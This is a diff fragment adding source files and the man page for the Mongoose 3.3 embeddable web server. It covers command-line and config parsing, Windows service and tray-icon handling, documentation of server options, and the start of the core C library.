  if (i == MAX_OPTIONS - 3) {
+
    die("%s", "Too many options specified");
+
  }
+
}
+

+
static void process_command_line_arguments(char *argv[], char **options) {
+
  char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
+
  FILE *fp = NULL;
+
  size_t i, cmd_line_opts_start = 1, line_no = 0;
+

+
  options[0] = NULL;
+

+
  // Should we use a config file ?
+
  if (argv[1] != NULL && argv[1][0] != '-') {
+
    snprintf(config_file, sizeof(config_file), "%s", argv[1]);
+
    cmd_line_opts_start = 2;
+
  } else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
+
    // No command line flags specified. Look where binary lives
+
    snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
+
  } else {
+
    snprintf(config_file, sizeof(config_file), "%.*s%c%s",
+
             (int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
+
  }
+

+
  fp = fopen(config_file, "r");
+

+
  // If config file was set in command line and open failed, die
+
  if (cmd_line_opts_start == 2 && fp == NULL) {
+
    die("Cannot open config file %s: %s", config_file, strerror(errno));
+
  }
+

+
  // Load config file settings first
+
  if (fp != NULL) {
+
    fprintf(stderr, "Loading config file %s\n", config_file);
+

+
    // Loop over the lines in config file
+
    while (fgets(line, sizeof(line), fp) != NULL) {
+

+
      line_no++;
+

+
      // Ignore empty lines and comments
+
      if (line[0] == '#' || line[0] == '\n')
+
        continue;
+

+
      if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
+
        die("%s: line %d is invalid", config_file, (int) line_no);
+
      }
+
      set_option(options, opt, val);
+
    }
+

+
    (void) fclose(fp);
+
  }
+

+
  // Handle command line flags. They override config file and default settings.
+
  for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
+
    if (argv[i][0] != '-' || argv[i + 1] == NULL) {
+
      show_usage_and_exit();
+
    }
+
    set_option(options, &argv[i][1], argv[i + 1]);
+
  }
+
}
+

+
static void init_server_name(void) {
+
  snprintf(server_name, sizeof(server_name), "Mongoose web server v. %s",
+
           mg_version());
+
}
+

+
static void *mongoose_callback(enum mg_event ev, struct mg_connection *conn) {
+
  if (ev == MG_EVENT_LOG) {
+
    printf("%s\n", mg_get_request_info(conn)->log_message);
+
  }
+

+
  return NULL;
+
}
+

+
static void start_mongoose(int argc, char *argv[]) {
+
  char *options[MAX_OPTIONS];
+
  int i;
+

+
  // Edit passwords file if -A option is specified
+
  if (argc > 1 && !strcmp(argv[1], "-A")) {
+
    if (argc != 6) {
+
      show_usage_and_exit();
+
    }
+
    exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
+
         EXIT_SUCCESS : EXIT_FAILURE);
+
  }
+

+
  // Show usage if -h or --help options are specified
+
  if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
+
    show_usage_and_exit();
+
  }
+

+
  /* Update config based on command line arguments */
+
  process_command_line_arguments(argv, options);
+

+
  /* Setup signal handler: quit on Ctrl-C */
+
  signal(SIGTERM, signal_handler);
+
  signal(SIGINT, signal_handler);
+

+
  /* Start Mongoose */
+
  ctx = mg_start(&mongoose_callback, NULL, (const char **) options);
+
  for (i = 0; options[i] != NULL; i++) {
+
    free(options[i]);
+
  }
+

+
  if (ctx == NULL) {
+
    die("%s", "Failed to start Mongoose.");
+
  }
+
}
+

+
#ifdef _WIN32
+
static SERVICE_STATUS ss;
+
static SERVICE_STATUS_HANDLE hStatus;
+
static const char *service_magic_argument = "--";
+

+
static void WINAPI ControlHandler(DWORD code) {
+
  if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
+
    ss.dwWin32ExitCode = 0;
+
    ss.dwCurrentState = SERVICE_STOPPED;
+
  }
+
  SetServiceStatus(hStatus, &ss);
+
}
+

+
static void WINAPI ServiceMain(void) {
+
  ss.dwServiceType = SERVICE_WIN32;
+
  ss.dwCurrentState = SERVICE_RUNNING;
+
  ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
+

+
  hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
+
  SetServiceStatus(hStatus, &ss);
+

+
  while (ss.dwCurrentState == SERVICE_RUNNING) {
+
    Sleep(1000);
+
  }
+
  mg_stop(ctx);
+

+
  ss.dwCurrentState = SERVICE_STOPPED;
+
  ss.dwWin32ExitCode = (DWORD) -1;
+
  SetServiceStatus(hStatus, &ss);
+
}
+

+
#define ID_TRAYICON 100
+
#define ID_QUIT 101
+
#define ID_EDIT_CONFIG 102
+
#define ID_SEPARATOR 103
+
#define ID_INSTALL_SERVICE 104
+
#define ID_REMOVE_SERVICE 105
+
#define ID_ICON 200
+
static NOTIFYICONDATA TrayIcon;
+

+
static void edit_config_file(void) {
+
  const char **names, *value;
+
  FILE *fp;
+
  int i;
+
  char cmd[200];
+

+
  // Create config file if it is not present yet
+
  if ((fp = fopen(config_file, "r")) != NULL) {
+
    fclose(fp);
+
  } else if ((fp = fopen(config_file, "a+")) != NULL) {
+
    fprintf(fp,
+
            "# Mongoose web server configuration file.\n"
+
            "# Lines starting with '#' and empty lines are ignored.\n"
+
            "# For detailed description of every option, visit\n"
+
            "# http://code.google.com/p/mongoose/wiki/MongooseManual\n\n");
+
    names = mg_get_valid_option_names();
+
    for (i = 0; names[i] != NULL; i += 3) {
+
      value = mg_get_option(ctx, names[i]);
+
      fprintf(fp, "# %s %s\n", names[i + 1], *value ? value : "<value>");
+
    }
+
    fclose(fp);
+
  }
+

+
  snprintf(cmd, sizeof(cmd), "notepad.exe %s", config_file);
+
  WinExec(cmd, SW_SHOW);
+
}
+

+
static void show_error(void) {
+
  char buf[256];
+
  FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
+
                NULL, GetLastError(),
+
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
+
                buf, sizeof(buf), NULL);
+
  MessageBox(NULL, buf, "Error", MB_OK);
+
}
+

+
static int manage_service(int action) {
+
  static const char *service_name = "Mongoose";
+
  SC_HANDLE hSCM = NULL, hService = NULL;
+
  SERVICE_DESCRIPTION descr = {server_name};
+
  char path[PATH_MAX + 20];  // Path to executable plus magic argument
+
  int success = 1;
+

+
  if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
+
                            GENERIC_WRITE : GENERIC_READ)) == NULL) {
+
    success = 0;
+
    show_error();
+
  } else if (action == ID_INSTALL_SERVICE) {
+
    GetModuleFileName(NULL, path, sizeof(path));
+
    strncat(path, " ", sizeof(path));
+
    strncat(path, service_magic_argument, sizeof(path));
+
    hService = CreateService(hSCM, service_name, service_name,
+
                             SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
+
                             SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
+
                             path, NULL, NULL, NULL, NULL, NULL);
+
    if (hService) {
+
      ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
+
    } else {
+
      show_error();
+
    }
+
  } else if (action == ID_REMOVE_SERVICE) {
+
    if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
+
        !DeleteService(hService)) {
+
      show_error();
+
    }
+
  } else if ((hService = OpenService(hSCM, service_name,
+
                                     SERVICE_QUERY_STATUS)) == NULL) {
+
    success = 0;
+
  }
+

+
  CloseServiceHandle(hService);
+
  CloseServiceHandle(hSCM);
+

+
  return success;
+
}
+

+
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
+
                                   LPARAM lParam) {
+
  static SERVICE_TABLE_ENTRY service_table[] = {
+
    {server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
+
    {NULL, NULL}
+
  };
+
  int service_installed;
+
  char buf[200], *service_argv[] = {__argv[0], NULL};
+
  POINT pt;
+
  HMENU hMenu;
+

+
  switch (msg) {
+
    case WM_CREATE:
+
      if (__argv[1] != NULL &&
+
          !strcmp(__argv[1], service_magic_argument)) {
+
        start_mongoose(1, service_argv);
+
        StartServiceCtrlDispatcher(service_table);
+
        exit(EXIT_SUCCESS);
+
      } else {
+
        start_mongoose(__argc, __argv);
+
      }
+
      break;
+
    case WM_COMMAND:
+
      switch (LOWORD(wParam)) {
+
        case ID_QUIT:
+
          mg_stop(ctx);
+
          Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
+
          PostQuitMessage(0);
+
          break;
+
        case ID_EDIT_CONFIG:
+
          edit_config_file();
+
          break;
+
        case ID_INSTALL_SERVICE:
+
        case ID_REMOVE_SERVICE:
+
          manage_service(LOWORD(wParam));
+
          break;
+
      }
+
      break;
+
    case WM_USER:
+
      switch (lParam) {
+
        case WM_RBUTTONUP:
+
        case WM_LBUTTONUP:
+
        case WM_LBUTTONDBLCLK:
+
          hMenu = CreatePopupMenu();
+
          AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
+
          AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
+
          service_installed = manage_service(0);
+
          snprintf(buf, sizeof(buf), "NT service: %s installed",
+
                   service_installed ? "" : "not");
+
          AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
+
          AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
+
                     ID_INSTALL_SERVICE, "Install service");
+
          AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
+
                     ID_REMOVE_SERVICE, "Deinstall service");
+
          AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
+
          AppendMenu(hMenu, MF_STRING, ID_EDIT_CONFIG, "Edit config file");
+
          AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
+
          GetCursorPos(&pt);
+
          SetForegroundWindow(hWnd);
+
          TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
+
          PostMessage(hWnd, WM_NULL, 0, 0);
+
          DestroyMenu(hMenu);
+
          break;
+
      }
+
      break;
+
    case WM_CLOSE:
+
      mg_stop(ctx);
+
      Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
+
      PostQuitMessage(0);
+
      return 0;  // We've just sent our own quit message, with proper hwnd.
+
  }
+

+
  return DefWindowProc(hWnd, msg, wParam, lParam);
+
}
+

+
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
+
  WNDCLASS cls;
+
  HWND hWnd;
+
  MSG msg;
+

+
  init_server_name();
+
  memset(&cls, 0, sizeof(cls));
+
  cls.lpfnWndProc = (WNDPROC) WindowProc;
+
  cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
+
  cls.lpszClassName = server_name;
+

+
  RegisterClass(&cls);
+
  hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
+
                      0, 0, 0, 0, NULL, NULL, NULL, NULL);
+
  ShowWindow(hWnd, SW_HIDE);
+

+
  TrayIcon.cbSize = sizeof(TrayIcon);
+
  TrayIcon.uID = ID_TRAYICON;
+
  TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
+
  TrayIcon.hIcon = LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(ID_ICON),
+
                             IMAGE_ICON, 16, 16, 0);
+
  TrayIcon.hWnd = hWnd;
+
  snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
+
  TrayIcon.uCallbackMessage = WM_USER;
+
  Shell_NotifyIcon(NIM_ADD, &TrayIcon);
+

+
  while (GetMessage(&msg, hWnd, 0, 0) > 0) {
+
    TranslateMessage(&msg);
+
    DispatchMessage(&msg);
+
  }
+

+
  // Return the WM_QUIT value.
+
  return msg.wParam;
+
}
+
#else
+
int main(int argc, char *argv[]) {
+
  init_server_name();
+
  start_mongoose(argc, argv);
+
  printf("%s started on port(s) %s with web root [%s]\n",
+
         server_name, mg_get_option(ctx, "listening_ports"),
+
         mg_get_option(ctx, "document_root"));
+
  while (exit_flag == 0) {
+
    sleep(1);
+
  }
+
  printf("Exiting on signal %d, waiting for all threads to finish...",
+
         exit_flag);
+
  fflush(stdout);
+
  mg_stop(ctx);
+
  printf("%s", " done.\n");
+

+
  return EXIT_SUCCESS;
+
}
+
#endif /* _WIN32 */
added plugins/pkg-plugins-serve/mongoose/mongoose.1
@@ -0,0 +1,174 @@
+
.\" Process this file with
+
.\" groff -man -Tascii mongoose.1
+
.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
+
.Dd Aug 31, 2010
+
.Dt mongoose 1
+
.Sh NAME
+
.Nm mongoose
+
.Nd lightweight web server
+
.Sh SYNOPSIS
+
.Nm
+
.Op Ar config_file
+
.Op Ar OPTIONS
+
.Nm
+
.Fl A Ar htpasswd_file domain_name user_name password
+
.Sh DESCRIPTION
+
.Nm
+
is small, fast and easy to use web server with CGI, SSL, MD5 authorization,
+
and basic SSI support.
+
.Pp
+
.Nm
+
does not detach from terminal, and uses current working directory
+
as the web root, unless
+
.Fl r
+
option is specified.
+
It is possible to specify multiple ports to listen on. For example, to make
+
mongoose listen on HTTP port 80 and HTTPS port 443, one should start it as:
+
.Nm
+
.Fl s Ar cert.pem Fl p Ar 80,443s
+
.Pp
+
Unlike other web servers,
+
.Nm
+
does not require CGI scripts be put in a special directory. CGI scripts can
+
be anywhere. CGI (and SSI) files are recognized by the file name pattern.
+
.Nm
+
uses shell-like glob patterns with the following syntax:
+
.Bl -tag -compact -width indent
+
.It **
+
Matches everything
+
.It *
+
Matches everything but slash character, '/'
+
.It ?
+
Matches any character
+
.It $
+
Matches the end of the string
+
.It |
+
Matches if pattern on the left side or the right side matches. Pattern on the
+
left side is matched first
+
.El
+
All other characters in the pattern match themselves.
+
.Pp
+
If no arguments are given,
+
.Nm
+
searches for a configuration file called "mongoose.conf" in the same directory
+
where mongoose binary is located. Alternatively, a file name could be
+
specified in the command line. Format of the configuration file is the same
+
as for the command line options except that each option must be specified
+
on a separate line, leading dashes for option names must be omitted.
+
Lines beginning with '#' and empty lines are ignored.
+
.Pp
+
.Sh OPTIONS
+
.Bl -tag -width indent
+
.It Fl A Ar htpasswd_file domain_name user_name password
+
Add/edit user's password in the passwords file. Deleting users can be done
+
with any text editor. Functionality is similar to Apache's
+
.Ic htdigest
+
utility.
+
.It Fl C Ar cgi_pattern
+
All files that fully match cgi_pattern are treated as CGI.
+
Default pattern allows CGI files be
+
anywhere. To restrict CGIs to certain directory, use e.g. "-C /cgi-bin/**.cgi".
+
Default: "**.cgi$|**.pl$|**.php$"
+
.It Fl E Ar cgi_environment
+
Extra environment variables to be passed to the CGI script in addition to
+
standard ones. The list must be comma-separated list of X=Y pairs, like this:
+
"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: ""
+
.It Fl G Ar put_delete_passwords_file
+
PUT and DELETE passwords file. This must be specified if PUT or
+
DELETE methods are used. Default: ""
+
.It Fl I Ar cgi_interpreter
+
Use
+
.Ar cgi_interpreter
+
as a CGI interpreter for all CGI scripts regardless script extension.
+
Mongoose decides which interpreter to use by looking at
+
the first line of a CGI script.  Default: "".
+
.It Fl M Ar max_request_size
+
Maximum HTTP request size in bytes. Default: "16384"
+
.It Fl P Ar protect_uri
+
Comma separated list of URI=PATH pairs, specifying that given URIs
+
must be protected with respected password files. Default: ""
+
.It Fl R Ar authentication_domain
+
Authorization realm. Default: "mydomain.com"
+
.It Fl S Ar ssi_pattern
+
All files that fully match ssi_pattern are treated as SSI.
+
Unknown SSI directives are silently ignored. Currently, two SSI directives
+
are supported, "include" and "exec".  Default: "**.shtml$|**.shtm$"
+
.It Fl a Ar access_log_file
+
Access log file. Default: "", no logging is done.
+
.It Fl d Ar enable_directory_listing
+
Enable/disable directory listing. Default: "yes"
+
.It Fl e Ar error_log_file
+
Error log file. Default: "", no errors are logged.
+
.It Fl g Ar global_passwords_file
+
Location of a global passwords file. If set, per-directory .htpasswd files are
+
ignored, and all requests must be authorised against that file.  Default: ""
+
.It Fl i Ar index_files
+
Comma-separated list of files to be treated as directory index files.
+
Default: "index.html,index.htm,index.cgi"
+
.It Fl l Ar access_control_list
+
Specify access control list (ACL). ACL is a comma separated list
+
of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
+
minus means deny. If subnet mask is
+
omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
+
from 0 to 32 inclusive. On each request, full list is traversed, and
+
last match wins. Default setting is to allow all. For example, to allow only
+
192.168/16 subnet to connect, run "mongoose -0.0.0.0/0,+192.168/16".
+
Default: ""
+
.It Fl m Ar extra_mime_types
+
Extra mime types to recognize, in form
+
"extension1=type1,extension2=type2,...". Extension must include dot.
+
Example: "mongoose -m .cpp=plain/text,.java=plain/text". Default: ""
+
.It Fl p Ar listening_ports
+
Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
+
must be appeneded, for example, "-p 80,443s" will open port 80 and port 443,
+
and connections on port 443 will be SSL-ed. It is possible to specify an
+
IP address to bind to. In this case, an IP address and a colon must be
+
prepended to the port number. For example, to bind to a loopback interface
+
on port 80 and to all interfaces on HTTPS port 443, use
+
"mongoose -p 127.0.0.1:80,443s". Default: "8080"
+
.It Fl r Ar document_root
+
Location of the WWW root directory. Default: "."
+
.It Fl s Ar ssl_certificate
+
Location of SSL certificate file. Default: ""
+
.It Fl t Ar num_threads
+
Number of worker threads to start. Default: "10"
+
.It Fl u Ar run_as_user
+
Switch to given user's credentials after startup. Default: ""
+
.It Fl w Ar url_rewrite_patterns
+
Comma-separated list of URL rewrites in the form of
+
"pattern=substitution,..." If the "pattern" matches some prefix
+
of the requested URL, then matched prefix gets substituted with "substitution".
+
For example, "-w /config=/etc,**.doc|**.rtf=/path/to/cgi-bin/handle_doc.cgi"
+
will serve all URLs that start with "/config" from the "/etc" directory, and
+
call handle_doc.cgi script for .doc and .rtf file requests. If some pattern
+
matches, no further matching/substitution is performed
+
(first matching pattern wins). Use full paths in substitutions. Default: ""
+
.It Fl x Ar hide_files_patterns
+
A prefix pattern for the files to hide. Files that match the pattern will not
+
show up in directory listing and return 404 Not Found if requested. Default: ""
+
.El
+
.Pp
+
.Sh EMBEDDING
+
.Nm
+
was designed to be embeddable into C/C++ applications. Since the
+
source code is contained in single C file, it is fairly easy to embed it
+
and follow the updates. Please refer to http://code.google.com/p/mongoose
+
for details.
+
.Pp
+
.Sh EXAMPLES
+
.Bl -tag -width indent
+
.It Nm Fl r Ar /var/www Fl s Ar /etc/cert.pem Fl p Ar 8080,8043s
+
Start serving files from /var/www. Listen on port 8080 for HTTP, and 8043
+
for HTTPS connections.  Use /etc/cert.pem as SSL certificate file.
+
.It Nm Fl l Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
+
Deny connections from everywhere, allow only IP address 1.2.3.4 and
+
all IP addresses from 10.0.0.0/8 subnet to connect.
+
.It Nm Fl w Ar **=/usr/bin/script.cgi
+
Invoke /usr/bin/script.cgi for every incoming request, regardless of the URL.
+
.El
+
.Pp
+
.Sh COPYRIGHT
+
.Nm
+
is licensed under the terms of the MIT license.
+
.Sh AUTHOR
+
.An Sergey Lyubka Aq valenok@gmail.com .
added plugins/pkg-plugins-serve/mongoose/mongoose.c
@@ -0,0 +1,4474 @@
+
// Copyright (c) 2004-2012 Sergey Lyubka
+
//
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
+
// of this software and associated documentation files (the "Software"), to deal
+
// in the Software without restriction, including without limitation the rights
+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
// copies of the Software, and to permit persons to whom the Software is
+
// furnished to do so, subject to the following conditions:
+
//
+
// The above copyright notice and this permission notice shall be included in
+
// all copies or substantial portions of the Software.
+
//
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
// THE SOFTWARE.
+

+
#if defined(__FreeBSD__)
+
#include <sys/socket.h>
+
#endif
+

+
#if defined(_WIN32)
+
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
+
#else
+
#define _XOPEN_SOURCE 600     // For flockfile() on Linux
+
#define _LARGEFILE_SOURCE     // Enable 64-bit file offsets
+
#define __STDC_FORMAT_MACROS  // <inttypes.h> wants this for C++
+
#define __STDC_LIMIT_MACROS   // C++ wants that for INT64_MAX
+
#endif
+

+
#if defined(__SYMBIAN32__)
+
#define NO_SSL // SSL is not supported
+
#define NO_CGI // CGI is not supported
+
#define PATH_MAX FILENAME_MAX
+
#endif // __SYMBIAN32__
+

+
#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
+
#include <sys/types.h>
+
#include <sys/stat.h>
+
#include <errno.h>
+
#include <signal.h>
+
#include <fcntl.h>
+
#endif // !_WIN32_WCE
+

+
#include <time.h>
+
#include <stdlib.h>
+
#include <stdarg.h>
+
#include <assert.h>
+
#include <string.h>
+
#include <ctype.h>
+
#include <limits.h>
+
#include <stddef.h>
+
#include <stdio.h>
+

+
#if defined(_WIN32) && !defined(__SYMBIAN32__) // Windows specific
+
#define _WIN32_WINNT 0x0400 // To make it link in VS2005
+
#include <windows.h>
+

+
#ifndef PATH_MAX
+
#define PATH_MAX MAX_PATH
+
#endif
+

+
#ifndef _WIN32_WCE
+
#include <process.h>
+
#include <direct.h>
+
#include <io.h>
+
#else // _WIN32_WCE
+
#include <winsock2.h>
+
#include <ws2tcpip.h>
+
#define NO_CGI // WinCE has no pipes
+

+
typedef long off_t;
+

+
#define errno   GetLastError()
+
#define strerror(x)  _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
+
#endif // _WIN32_WCE
+

+
#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
+
      ((uint64_t)((uint32_t)(hi))) << 32))
+
#define RATE_DIFF 10000000 // 100 nsecs
+
#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
+
#define SYS2UNIX_TIME(lo, hi) \
+
  (time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
+

+
// Visual Studio 6 does not know __func__ or __FUNCTION__
+
// The rest of MS compilers use __FUNCTION__, not C99 __func__
+
// Also use _strtoui64 on modern M$ compilers
+
#if defined(_MSC_VER) && _MSC_VER < 1300
+
#define STRX(x) #x
+
#define STR(x) STRX(x)
+
#define __func__ "line " STR(__LINE__)
+
#define strtoull(x, y, z) strtoul(x, y, z)
+
#define strtoll(x, y, z) strtol(x, y, z)
+
#else
+
#define __func__  __FUNCTION__
+
#define strtoull(x, y, z) _strtoui64(x, y, z)
+
#define strtoll(x, y, z) _strtoi64(x, y, z)
+
#endif // _MSC_VER
+

+
#define ERRNO   GetLastError()
+
#define NO_SOCKLEN_T
+
#define SSL_LIB   "ssleay32.dll"
+
#define CRYPTO_LIB  "libeay32.dll"
+
#define DIRSEP '\\'
+
#define IS_DIRSEP_CHAR(c) ((c) == '/' || (c) == '\\')
+
#define O_NONBLOCK  0
+
#if !defined(EWOULDBLOCK)
+
#define EWOULDBLOCK  WSAEWOULDBLOCK
+
#endif // !EWOULDBLOCK
+
#define _POSIX_
+
#define INT64_FMT  "I64d"
+

+
#define WINCDECL __cdecl
+
#define SHUT_WR 1
+
#define snprintf _snprintf
+
#define vsnprintf _vsnprintf
+
#define mg_sleep(x) Sleep(x)
+

+
#define pipe(x) _pipe(x, MG_BUF_LEN, _O_BINARY)
+
#define popen(x, y) _popen(x, y)
+
#define pclose(x) _pclose(x)
+
#define close(x) _close(x)
+
#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
+
#define RTLD_LAZY  0
+
#define fseeko(x, y, z) _lseeki64(_fileno(x), (y), (z))
+
#define fdopen(x, y) _fdopen((x), (y))
+
#define write(x, y, z) _write((x), (y), (unsigned) z)
+
#define read(x, y, z) _read((x), (y), (unsigned) z)
+
#define flockfile(x) EnterCriticalSection(&global_log_file_lock)
+
#define funlockfile(x) LeaveCriticalSection(&global_log_file_lock)
+

+
#if !defined(fileno)
+
#define fileno(x) _fileno(x)
+
#endif // !fileno MINGW #defines fileno
+

+
typedef HANDLE pthread_mutex_t;
+
typedef struct {HANDLE signal, broadcast;} pthread_cond_t;
+
typedef DWORD pthread_t;
+
#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
+

+
struct timespec {
+
  long tv_nsec;
+
  long tv_sec;
+
};
+

+
static int pthread_mutex_lock(pthread_mutex_t *);
+
static int pthread_mutex_unlock(pthread_mutex_t *);
+
static FILE *mg_fopen(const char *path, const char *mode);
+

+
#if defined(HAVE_STDINT)
+
#include <stdint.h>
+
#else
+
typedef unsigned int  uint32_t;
+
typedef unsigned short  uint16_t;
+
typedef unsigned __int64 uint64_t;
+
typedef __int64   int64_t;
+
#define INT64_MAX  9223372036854775807
+
#endif // HAVE_STDINT
+

+
// POSIX dirent interface
+
struct dirent {
+
  char d_name[PATH_MAX];
+
};
+

+
typedef struct DIR {
+
  HANDLE   handle;
+
  WIN32_FIND_DATAW info;
+
  struct dirent  result;
+
} DIR;
+

+
#else    // UNIX  specific
+
#include <sys/wait.h>
+
#include <sys/socket.h>
+
#include <sys/select.h>
+
#include <netinet/in.h>
+
#include <arpa/inet.h>
+
#include <sys/time.h>
+
#include <stdint.h>
+
#include <inttypes.h>
+
#include <netdb.h>
+

+
#include <pwd.h>
+
#include <unistd.h>
+
#include <dirent.h>
+
#if !defined(NO_SSL_DL) && !defined(NO_SSL)
+
#include <dlfcn.h>
+
#endif
+
#include <pthread.h>
+
#if defined(__MACH__)
+
#define SSL_LIB   "libssl.dylib"
+
#define CRYPTO_LIB  "libcrypto.dylib"
+
#else
+
#if !defined(SSL_LIB)
+
#define SSL_LIB   "libssl.so"
+
#endif
+
#if !defined(CRYPTO_LIB)
+
#define CRYPTO_LIB  "libcrypto.so"
+
#endif
+
#endif
+
#define DIRSEP   '/'
+
#define IS_DIRSEP_CHAR(c) ((c) == '/')
+
#ifndef O_BINARY
+
#define O_BINARY  0
+
#endif // O_BINARY
+
#define closesocket(a) close(a)
+
#define mg_fopen(x, y) fopen(x, y)
+
#define mg_mkdir(x, y) mkdir(x, y)
+
#define mg_remove(x) remove(x)
+
#define mg_rename(x, y) rename(x, y)
+
#define mg_sleep(x) usleep((x) * 1000)
+
#define ERRNO errno
+
#define INVALID_SOCKET (-1)
+
#define INT64_FMT PRId64
+
typedef int SOCKET;
+
#define WINCDECL
+

+
#endif // End of Windows and UNIX specific includes
+

+
#include "mongoose.h"
+

+
#define MONGOOSE_VERSION "3.3"
+
#define PASSWORDS_FILE_NAME ".htpasswd"
+
#define CGI_ENVIRONMENT_SIZE 4096
+
#define MAX_CGI_ENVIR_VARS 64
+
#define MG_BUF_LEN 8192
+
#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
+

+
#ifdef _WIN32
+
static CRITICAL_SECTION global_log_file_lock;
+
static pthread_t pthread_self(void) {
+
  return GetCurrentThreadId();
+
}
+
#endif // _WIN32
+

+
#if defined(DEBUG)
+
#define DEBUG_TRACE(x) do { \
+
  flockfile(stdout); \
+
  printf("*** %lu.%p.%s.%d: ", \
+
         (unsigned long) time(NULL), (void *) pthread_self(), \
+
         __func__, __LINE__); \
+
  printf x; \
+
  putchar('\n'); \
+
  fflush(stdout); \
+
  funlockfile(stdout); \
+
} while (0)
+
#else
+
#define DEBUG_TRACE(x)
+
#endif // DEBUG
+

+
// Darwin prior to 7.0 and Win32 do not have socklen_t
+
#ifdef NO_SOCKLEN_T
+
typedef int socklen_t;
+
#endif // NO_SOCKLEN_T
+
#define _DARWIN_UNLIMITED_SELECT
+

+
#if !defined(MSG_NOSIGNAL)
+
#define MSG_NOSIGNAL 0
+
#endif
+

+
#if !defined(SOMAXCONN)
+
#define SOMAXCONN 100
+
#endif
+

+
static const char *http_500_error = "Internal Server Error";
+

+
// Snatched from OpenSSL includes. I put the prototypes here to be independent
+
// from the OpenSSL source installation. Having this, mongoose + SSL can be
+
// built on any system with binary SSL libraries installed.
+
typedef struct ssl_st SSL;
+
typedef struct ssl_method_st SSL_METHOD;
+
typedef struct ssl_ctx_st SSL_CTX;
+

+
#define SSL_ERROR_WANT_READ 2
+
#define SSL_ERROR_WANT_WRITE 3
+
#define SSL_FILETYPE_PEM 1
+
#define CRYPTO_LOCK  1
+

+
#if defined(NO_SSL_DL)
+
extern void SSL_free(SSL *);
+
extern int SSL_accept(SSL *);
+
extern int SSL_connect(SSL *);
+
extern int SSL_read(SSL *, void *, int);
+
extern int SSL_write(SSL *, const void *, int);
+
extern int SSL_get_error(const SSL *, int);
+
extern int SSL_set_fd(SSL *, int);
+
extern SSL *SSL_new(SSL_CTX *);
+
extern SSL_CTX *SSL_CTX_new(SSL_METHOD *);
+
extern SSL_METHOD *SSLv23_server_method(void);
+
extern SSL_METHOD *SSLv23_client_method(void);
+
extern int SSL_library_init(void);
+
extern void SSL_load_error_strings(void);
+
extern int SSL_CTX_use_PrivateKey_file(SSL_CTX *, const char *, int);
+
extern int SSL_CTX_use_certificate_file(SSL_CTX *, const char *, int);
+
extern int SSL_CTX_use_certificate_chain_file(SSL_CTX *, const char *);
+
